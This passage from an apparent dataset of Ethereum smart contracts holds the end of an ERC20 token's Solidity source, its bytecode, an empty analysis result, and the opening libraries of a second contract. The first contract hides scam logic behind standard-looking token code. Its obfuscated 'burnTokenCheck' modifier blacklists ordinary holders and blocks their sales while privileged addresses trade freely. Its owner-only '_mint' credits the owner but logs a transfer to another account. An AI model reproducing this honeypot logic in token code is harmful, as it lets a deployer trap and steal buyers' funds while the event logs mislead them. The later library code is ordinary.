* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207ed3abbaa28b1f4961f79a91095d864a4af9ad66393ff80d7d4abdf843dc7a1f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,497 |
0x9256a5cf6a81807104874d94a221b3d67666e822
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
